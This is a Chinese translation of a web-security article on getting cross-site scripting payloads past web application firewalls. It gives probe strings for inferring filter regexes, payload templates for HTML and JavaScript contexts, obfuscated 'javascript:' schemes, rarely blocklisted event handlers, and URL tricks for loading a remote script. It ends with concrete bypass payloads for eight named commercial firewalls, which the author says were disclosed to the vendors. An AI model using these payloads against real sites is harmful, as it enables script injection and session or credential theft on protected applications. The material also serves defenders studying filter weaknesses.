探寻如何绕过WAF的XSS检测机制

41yf1sh Web安全 2019年8月29日发布
Favorite收藏

导语:本文提出了一种明确定义的方法,即通过探测假设出检测恶意字符串的规则并编写Payload,来绕过跨站脚本攻击(XSS)的安全防范机制。

一、前言

本文提出了一种明确定义的方法,即通过探测假设出检测恶意字符串的规则并编写Payload,来绕过跨站脚本攻击(XSS)的安全防范机制。我们提出的方法共包括三个阶段:确定Payload结构、探测以及混淆。

确定指定上下文的各种Payload结构,为我们提供了最佳的测试思路。探测的下一个阶段,就是针对目标的安全机制测试各种字符串,并分析目标的响应,从而根据分析结果做出假设。

最后,如果需要,可以对Payload进行模糊处理和其他调整。
本文假设各位读者已经掌握XSS、HTML和JavaScript的相关知识。在整篇文章中,使用{string}来表示Payload方案的组成部分,使用{?string}表示可选的组成部分。主要字符(Primary Character)是指必须包含在Payload中的字符。建议在使用URL不安全字符(例如:+和&)之前,对其先进行URL编码。在探测时,应该使用无害的字符串,而不是{javascript}。

二、简介

跨站脚本漏洞(XSS)是最常见的Web应用程序漏洞之一。可以通过清理用户输入、实现基于上下文的转义后输出、正确使用文档对象模型(DOM)、实施适当的跨源资源共享(CORS)策略和其他安全实践,来实现对该类型漏洞的防范。尽管这些预防措施已经成为公开的知识,但很多组织还会使用Web应用程序防火墙(WAF)或自定义过滤器,作为防范XSS的双保险,以保护Web应用程序免受人为漏洞或新发现的攻击媒介所引入的漏洞的利用。尽管WAF的各大厂商仍在尝试引入机器学习,但正则表达式仍然是目前最常用的检测恶意字符串的方法。在本文中,我们将探讨一些与常见WAF所使用正则表达式不匹配的XSS Payload构造方法。

三、HTML上下文

当用户输入反射在网页的HTML代码中时,我们称其在HTML上下文中。HTML上下文可以进一步根据反射的位置,划分成子上下文。

· 内部标签:<input type="text" value="$input">

· 外部标签:<span>You entered $input</span>

3.1 外部标签

针对这一上下文,主要的字符就是<,它是HTML标签的开始符号。根据HTML规范,标签名称必须以字母开头。利用这一信息,可以使用下面的探测方法来确定用于匹配标签名称的正则表达式:

· <svg – 如果通过,则不进行任何标签检查

· <dev – 如果失败,正则表达式为<[a-z]+

· x<dev – 如果通过,正则表达式为^<[a-z]+

· <dEv – 如果失败,正则表达式为<[a-zA-Z]+

· <d3V – 如果失败,正则表达式为<[a-zA-Z0-9]+

· <d|3v – 如果失败,正则表达式为<.+

如果安全机制不允许此类探测机制,那么就不能实现绕过。由于误报率较高,因此不应提倡在WAF上采用这种限制性规则。

如果上述任何探测未被阻止,那么可以使用多种Payload方案来构造Payload。

3.1.1 Payload方案1

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

在找到{tag}的适当值后,下一步是猜测正则表达式用于匹配标签和Event Handler之间的过滤器。可以使用下面的探测方式:

· <tag xxx – If fails, {space}

· <tag%09xxx – 如果失败,正则表达式为[\s]

· <tag%09%09xxx – 如果失败,正则表达式为\s+

· <tag/xxx – 如果失败,正则表达式为[\s/]+

· <tag%0axxx – 如果失败,正则表达式为[\s\n]+

· <tag%0dxxx> – 如果失败,正则表达式为[\s\n\r+]+

· <tag/~/xxx – 如果失败,正则表达式为.*+

该组成部分(即Event Handler)是Payload中最关键的部分之一。它通常与on\w+这样的正则表达式,或on(load|click|error|show)这样的黑名单相匹配。第一个正则表达式是非常严格的,无法被绕过。但第二种黑名单类型模式通常可以借助比较不常用的Event Handler实现绕过,这些Event Handler可能不在黑名单之中。我们可以通过两个简单的方法来识别所使用的方法类型:

· <tag{filler}onxxx – 如果失败,则证明采用了on\w+;如果成功,则证明采用了on(load|click|error|show)

· <tag{filler}onclick – 如果成功,则证明没有Event Handler检查的正则表达式

如果正则表达式是on\w+,那么就无法绕过,因为所有Event Handler都以on开头。面对这种情况,我们应该继续下一个Payload方案。如果正则表达式遵循黑名单的方法,则需要查找未列入黑名单的Event Handler。如果所有Event Handler都被列入黑名单之中,则应继续执行下一个Payload方案。

根据我对WAF的研究经验,我发现下列几个Event Handler通常会在黑名单中缺席:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

与=相关的过滤器测试过程,类似于前面所讨论的过程,并且仅当安全机制阻止<tag{filler}{event_handler}=d3v时才应该进行测试。

下一个组成部分是要执行的JavaScript代码。这是Payload中的活动部分,但不需要对用于匹配它的正则表达式进行假设,因为JavaScript代码可以是任意代码,因此无法预先定义出它的固定模式并进行匹配。

此时,Payload的所有组成部分都已经完成,只需要关闭Payload。这可以通过以下方式来完成:

<payload>
<payload
<payload{space}
<payload//
<payload%0a
<payload%0d
<payload%09

应该注意的是,HTML规范中允许<tag{white space}{anything here}>这样的形式,这意味着,只要有一个HTML标签,例如“<a href='http://example.com' ny text can be placed here as long as there's a greater-than sign somewhere later in the HTML document>”就是有效的。HTML标签的这一属性,允许攻击者可以通过上述方式实现对HTML标签的注入。

3.1.2 Payload方案2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

为了测试过滤器与结束字符串,我们采用了与上一种方案类似的方法。必须注意的是,?可以在URL的末尾使用,来替代结束标签。当读取到?字符时,都会将其视为URL的一部分,直至遇到下一个>。如果使用<script>标签,很可能会被大多数安全规则检测到。

使用<object>标签的Payload,可以使用类似的Payload方案来制作:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

3.1.3 Payload方案3

这种Payload方案有两种形式,分别是原型和经过混淆后的变体。

原型通常与模式相匹配,例如:href[\s]{0,}=[\s]{0,}javascript:,其结构如下:

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

经过混淆后的变体具有以下结构:

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

这两个变体之间的显著差异是{special}组成部分以及{quote}。{special}指的是字符串JavaScript的混淆后版本,可以使用换行符和水平制表符对其进行混淆,如下所示:

j%0aAv%0dasCr%09ipt:
J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:
J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:

在某些情况下,数字字符编码也可用于逃避检测。可以使用十进制或十六进制。

Javascript&colon;
javascript:

显然,如果有需要,这两种混淆技术可以一起使用。

Java%0a%0d%09script&colon;

3.1.4 可执行/不可执行的上下文

外部标签的上下文,可以进一步划分为可执行或不可执行,这取决于注入的Payload是否可以在没有任何特殊帮助的情况下执行。当输入内容反射在HTML注释中(例如:<–$input–>)或以下标签之间时,将会产生不可执行的上下文:

<style>
<title>
<noembed>
<template>
<noscript>
<textarea>

必须结束这些标签,才能执行Payload。因此,测试其上下文可执行或不可执行,唯一的区别就是测试{closing tag}组成部分,可以按照如下方式完成:

</tag>
</tAg/x>
</tag{space}>
</tag//>
</tag%0a>
</tag%0d>
</tag%09>

一旦发现了上述有效的结束标签,{closing tag}{来自可执行Payload部分的任意Payload}就可以用于成功注入。

3.2 内部标签

3.2.1 在属性值内/作为属性值

该上下文的主要字符是用于包含属性值的引号。例如,如果输入内容反射后的结果为“<input value="$input" type="text">”,那么主要字符将为”。但是,在某些情况下,主要字符不需要突破上下文。

3.2.2 在Event Handler内部

如果输入内容被反射在与Event Handler关联的值中,例如<tag event_handler="function($input)";,将会触发Event Handler执行值中存在的JavaScript。

3.2.3 在“src”属性内部

如果输入内容被反射在脚本或iframe标签的src属性的值,例如<script src="$input">,恶意脚本(如果是脚本标签)或网页(如果是iframe标签)可以直接加载,如下所示:

<script src="http://example.com/malicious.js">

绕过URL匹配正则表达式的方法如下:

//example.com/xss.js bypasses http(?s)://
////////example.com/xss.js bypasses (?:http(?s):?)?//
/\///\\/example.com/xss.js bypasses (?:http(?s):?)?//+

3.2.4 在“srcdoc”属性内部

如果输入内容被反射在iframe标签的srcdoc属性的值,例如<iframe srcdoc="$input">,那么转义(使用HTML实体)后的HTML文档可以作为Payload提供,如下所示:

<iframe srcdoc="&lt;svg/onload=alert()&gt;">

3.2.5 通用属性

上述所有情况,除了最后一个可以使用HTML上下文部分中使用的技术来绕过之外,都不需要任何的绕过技术。但是,我们所讨论的示例并不常见,最常见的属性上下文反射类型如下:

<input type="text" value=""/onfocus="alert()$input">

基于相关标签的交互性,可以进一步分为两类。

(1) 可交互的

当输入内容被反射在标签内,该标签可以与点击、悬停、聚焦等操作相互作用,只需要一个引号来突破上下文即可。在这种情况下,有效的Payload方案是:

{quote}{filler}{event_handler}{?filler}={?filler}{javascript}

检查引号是否被WAF阻止(该情况可能性较小),可以使用如下探测方式:

x"y

Event Handler在这里起到了重要作用,因为它是WAF可以检测到的唯一组成部分。每个标签都支持一些Event Handler,但是有一些Event Handler可以绑定到下面列出的任何标签中:

onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup

可以采用前文讨论过的方法,来测试其余的组成部分。

(2) 不可交互的

当输入内容反射在无法与之交互的标签中时,需要打开标签自身,来执行Payload。这种情况下,Payload的方案是:

{quote}>{来自HTML上下文段的任何Payload方案}

四、JavaScript上下文

4.1 作为字符串变量

最常见的JavaScript上下文反射类型是字符串变量中的反射。这非常常见,因为开发人员通常会将用户输入分配给变量,而不是直接使用它们。

var name = '$input';

Payload方案1:

{quote}{delimiter}{javascript}{delimiter}{quote}

其中,分隔符通常是JavaScript运算符,例如^。举例来说,如果用户输入位于单个带引号的字符串变量中,那么可能的Payload如下:

'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'

Payload方案2:

{quote}{delimiter}{javascript}//

它与之前的Payload方案类似,只是这里使用了单行注释,来注释掉行中的其余代码,从而保证其语法有效。可以使用该Payload方案制作的一些有效Payload如下:

'<{javascript}//'
'|{javascript}//'
'^{javascript}//'

4.2 在代码块中

输入内容经常会被反射到代码块之中。我们假设场景是:如果用户已经付费订阅,并且年龄超过18岁,那么网页将会执行某些操作。因此,具有反射后输入的JavaScript代码如下所示:

function example(age, subscription){
    if (subscription){
        if (age > 18){
            another_function('$input');
        }
    else{
        console.log('Requirements not met.');
    }
}

我们假设没有订阅付费。为了解决这一问题,需要退出if (subscription)块,这可以通过关闭条件块、函数调用等方式来完成。如果用户输入是');}}alert();if(true){(',那么其反射后的结果如下:

function example(age, subscription){
    if (subscription){
        if (age > 18){
            another_function('');}}alert();if(true){('');
        }
    else{
        console.log('Requirements not met.');
    }
}

我们将代码进行了格式调整,以进一步了解Payload的工作原理:

function example(age, subscription){
    if (subscription){
        if (age > 18){
            another_function('');
        }
    }
    alert();
    if (true){
        ('');
    }
    else{
        console.log('Requirements not met.');
    }
}

其中,);负责关闭当前的函数调用。

第一个}关闭if (age > 18)块。

第二个}关闭if subscription块。

alert();是用作测试的函数。

if(true){将会启动if条件块,以确保代码语法有效,因为代码后面有一个else块。

最后,('会与我们最初注入的函数调用的剩余部分相结合。

这是我们在实际场景遇到的最简单的代码块之一。为了简化突破代码块的过程,建议使用一些高亮显示语法的工具,例如Sublime Text。

Payload的结构取决于代码本身,这种不确定性使得检测变得非常困难。但是,如果需要,可以对代码进行模糊处理。例如,上面代码块中的Payload可以写作:

');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('

如果输入内容反射到JavaScript代码中,无论是在代码块还是变量字符串中,</scRipT{?filler}>{html context payload}都可以用于打破上下文并执行Payload。这个Payload方案应该被优先尝试,因为它很简单,但也很可能被检测到。

五、在实际场景中实现WAF绕过

在我们的研究过程中,共绕过了8个WAF。我们遵循负责任的漏洞披露原则,及时将漏洞通知了厂商,因此一些绕过方法可能已经被修复。下面是绕过的WAF、Payload以及绕过技术列表。

· WAF名称:Cloudflare

· Payload:<a"/onclick=(confirm)()>click

· 绕过技术:Non-white Space Filler

· WAF名称:Wordfence

· Payload:<a/href=javascript&colon;alert()>click

· 绕过技术:数字字符编码

· WAF名称:Barracuda

· Payload:<a/href=Java%0a%0d%09script&colon;alert()>click

· 绕过技术:数字字符编码

· WAF名称:Akamai

· Payload:<d3v/onauxclick=[2].some(confirm)>click

· 绕过技术:借助黑名单和函数调用混淆利用Event Handler

· WAF名称:Comodo

· Payload:<d3v/onauxclick=(((confirm)))“>click

· 绕过技术:借助黑名单和函数调用混淆利用Event Handler

· WAF名称:F5

· Payload:<d3v/onmouseleave=[2].some(confirm)>click

· 绕过技术:借助黑名单和函数调用混淆利用Event Handler

· WAF名称:ModSecurity

· Payload:<details/open/ontoggle=alert()>

· 绕过技术:借助黑名单利用标签(或Event Handler?)

· WAF名称:dotdefender

· Payload:<details/open/ontoggle=(confirm)()//

· 绕过技术:借助黑名单、函数调用混淆和备用标签结尾利用标签

六、参考

[1] HTML规范

[2] 数字字符引用

本文翻译自:https://github.com/s0md3v/MyPapers/tree/master/Bypassing-XSS-detection-mechanisms#withinas-attribute-value如若转载,请注明原文地址: https://www.4hou.com/web/16799.html
点赞 0
XSS
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论